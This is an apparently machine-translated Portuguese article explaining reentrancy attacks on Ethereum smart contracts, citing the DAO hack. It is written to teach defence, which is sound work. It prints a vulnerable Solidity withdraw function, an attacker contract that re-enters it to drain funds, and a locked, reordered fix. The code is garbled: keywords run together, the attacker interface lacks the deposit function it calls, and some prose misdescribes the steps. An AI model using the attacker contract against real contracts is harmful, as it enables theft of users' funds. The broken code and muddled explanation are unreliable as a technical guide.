Veja como ocorre um dos hacks de contratos inteligentes mais comuns que custam milhões às empresas da Web 3 ...
Alguns dos maiores hacks na indústria de blockchain, onde milhões de dólares em tokens de criptomoedas foram roubados, resultaram de ataques de reentrada. Embora esses hacks tenham se tornado menos comuns nos últimos anos, eles ainda representam uma ameaça significativa para aplicativos e usuários de blockchain.
Então, o que exatamente são ataques de reentrância? Como eles são implantados? E há alguma medida que os desenvolvedores possam tomar para evitar que isso aconteça?
O que é um ataque de reentrância?
Um ataque de reentrância ocorre quando uma função de contrato inteligente vulnerável faz uma chamada externa para um contrato malicioso, cedendo temporariamente o controle do fluxo da transação. O contrato malicioso chama repetidamente a função de contrato inteligente original antes de terminar a execução enquanto drena seus fundos.
Essencialmente, uma transação de saque na blockchain Ethereum segue um ciclo de três etapas: confirmação de saldo, remessa e atualização de saldo. Se um cibercriminoso conseguir sequestrar o ciclo antes da atualização do saldo, ele poderá sacar fundos repetidamente até que a carteira seja esvaziada.
Um dos hacks de blockchain mais infames, o hack Ethereum DAO, coberto por Coindesk, foi um ataque de reentrância que levou a uma perda de mais de $ 60 milhões em eth e mudou fundamentalmente o curso da segunda maior criptomoeda.
Como funciona um ataque de reentrância?
Imagine um banco em sua cidade natal onde moradores virtuosos guardam seu dinheiro; sua liquidez total é de US$ 1 milhão. No entanto, o banco tem um sistema de contabilidade falho - os funcionários esperam até a noite para atualizar os saldos bancários.
Seu amigo investidor visita a cidade e descobre a falha contábil. Ele cria uma conta e deposita $ 100.000. Um dia depois, ele saca $ 100.000. Depois de uma hora, ele faz outra tentativa de sacar $ 100.000. Como o banco não atualizou seu saldo, ele ainda indica $ 100.000. Então ele recebe o dinheiro. Ele faz isso repetidamente até não sobrar dinheiro. Os funcionários só percebem que não há dinheiro quando equilibram as contas à noite.
No contexto de um contrato inteligente, o processo é o seguinte:
- Um cibercriminoso identifica um contrato inteligente "X" com uma vulnerabilidade.
- O invasor inicia uma transação legítima para o contrato de destino, X, para enviar fundos para um contrato malicioso, "Y". Durante a execução, Y chama a função vulnerável em X.
- A execução do contrato de X é pausada ou atrasada enquanto o contrato aguarda a interação com o evento externo
- Enquanto a execução é pausada, o invasor chama repetidamente a mesma função vulnerável em X, novamente acionando sua execução quantas vezes for possível
- A cada reentrada, o estado do contrato é manipulado, permitindo que o invasor drene fundos de X para Y
- Uma vez esgotados os fundos, a reentrada é interrompida, a execução atrasada de X finalmente é concluída e o estado do contrato é atualizado com base na última reentrada.
Geralmente, o invasor explora com sucesso a vulnerabilidade de reentrância a seu favor, roubando fundos do contrato.
Exemplo de ataque de reentrância
Então, como exatamente um ataque de reentrância pode ocorrer tecnicamente quando implantado? Aqui está um contrato inteligente hipotético com um gateway de reentrada. Usaremos nomenclatura axiomática para facilitar o acompanhamento.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
O VulnerávelContrato permite que os usuários depositem eth no contrato usando o depósito função. Os usuários podem retirar seus eth depositados usando o retirar função. No entanto, há uma vulnerabilidade de reentrada no retirar função. Quando um usuário se retira, o contrato transfere o valor solicitado para o endereço do usuário antes de atualizar o saldo, criando uma oportunidade para um invasor explorar.
Agora, veja como seria o contrato inteligente de um invasor.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Quando o ataque é lançado:
- O AtacanteContrato leva o endereço do VulnerávelContrato em seu construtor e o armazena no vulnerávelContrato variável.
- O ataque função é chamada pelo atacante, depositando algum eth no VulnerávelContrato usando o depósito função e, em seguida, chamando imediatamente o retirar função do VulnerávelContrato.
- O retirar função no VulnerávelContrato transfere a quantidade solicitada de eth para o atacante AtacanteContrato antes de atualizar o saldo, mas como o contrato do atacante é pausado durante a chamada externa, a função ainda não está concluída.
- O receber função no AtacanteContrato é acionado porque o VulnerávelContrato enviou eth para este contrato durante a chamada externa.
- A função de recebimento verifica se o AtacanteContrato saldo é de pelo menos 1 éter (o valor a ser retirado), então ele entra novamente no VulnerávelContrato chamando seu retirar funcionar novamente.
- Os passos três a cinco se repetem até que o VulnerávelContrato fica sem fundos e o contrato do invasor acumula uma quantidade substancial de eth.
- Finalmente, o atacante pode chamar o retirar fundos roubados função no AtacanteContrato para roubar todos os fundos acumulados em seu contrato.
O ataque pode acontecer muito rápido, dependendo do desempenho da rede. Ao envolver contratos inteligentes complexos, como o DAO Hack, que levou ao hard fork do Ethereum em Ethereum e Ethereum Classic, o ataque acontece durante várias horas.
Como prevenir um ataque de reentrância
Para evitar um ataque de reentrada, precisamos modificar o contrato inteligente vulnerável para seguir as melhores práticas para o desenvolvimento seguro de contrato inteligente. Neste caso, devemos implementar o padrão "checks-effects-interactions" como no código abaixo.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
Nesta versão corrigida, introduzimos um está bloqueado mapeamento para rastrear se uma determinada conta está em processo de retirada. Quando um usuário inicia uma retirada, o contrato verifica se sua conta está bloqueada (!isLocked[msg.sender]), indicando que nenhum outro saque da mesma conta está em andamento.
Se a conta não estiver bloqueada, o contrato continua com a mudança de estado e interação externa. Após a mudança de estado e interação externa, a conta é desbloqueada novamente, permitindo saques futuros.
Tipos de Ataques de Reentrância
Geralmente, existem três tipos principais de ataques de reentrância com base em sua natureza de exploração.
- Ataque de reentrada simples: Nesse caso, a função vulnerável que o invasor chama repetidamente é a mesma suscetível ao gateway de reentrada. O ataque acima é um exemplo de um único ataque de reentrância, que pode ser facilmente evitado implementando verificações e bloqueios adequados no código.
- Ataque de função cruzada: Nesse cenário, um invasor aproveita uma função vulnerável para chamar uma função diferente dentro do mesmo contrato que compartilha um estado com o vulnerável. A segunda função, chamada pelo invasor, tem algum efeito desejável, tornando-a mais atraente para exploração. Esse ataque é mais complexo e difícil de detectar, portanto, verificações e bloqueios rigorosos em funções interconectadas são necessários para mitigá-lo.
- Ataque de contrato cruzado: Esse ataque ocorre quando um contrato externo interage com um contrato vulnerável. Durante essa interação, o estado do contrato vulnerável é chamado no contrato externo antes de ser totalmente atualizado. Geralmente acontece quando vários contratos compartilham a mesma variável e alguns atualizam a variável compartilhada de forma insegura. Protocolos de comunicação seguros entre contratos e periódicos auditorias de contratos inteligentes devem ser implementadas para mitigar esse ataque.
Os ataques de reentrância podem se manifestar de diferentes formas e, portanto, requerem medidas específicas para prevenir cada um.
Mantendo-se a salvo de ataques de reentrância
Os ataques de reentrância causaram perdas financeiras substanciais e minaram a confiança nos aplicativos blockchain. Para proteger os contratos, os desenvolvedores devem adotar as melhores práticas diligentemente para evitar vulnerabilidades de reentrada.
Eles também devem implementar padrões de retirada seguros, usar bibliotecas confiáveis e realizar auditorias completas para fortalecer ainda mais a defesa do contrato inteligente. Obviamente, manter-se informado sobre ameaças emergentes e ser proativo com os esforços de segurança pode garantir que eles mantenham a integridade dos ecossistemas de blockchain também.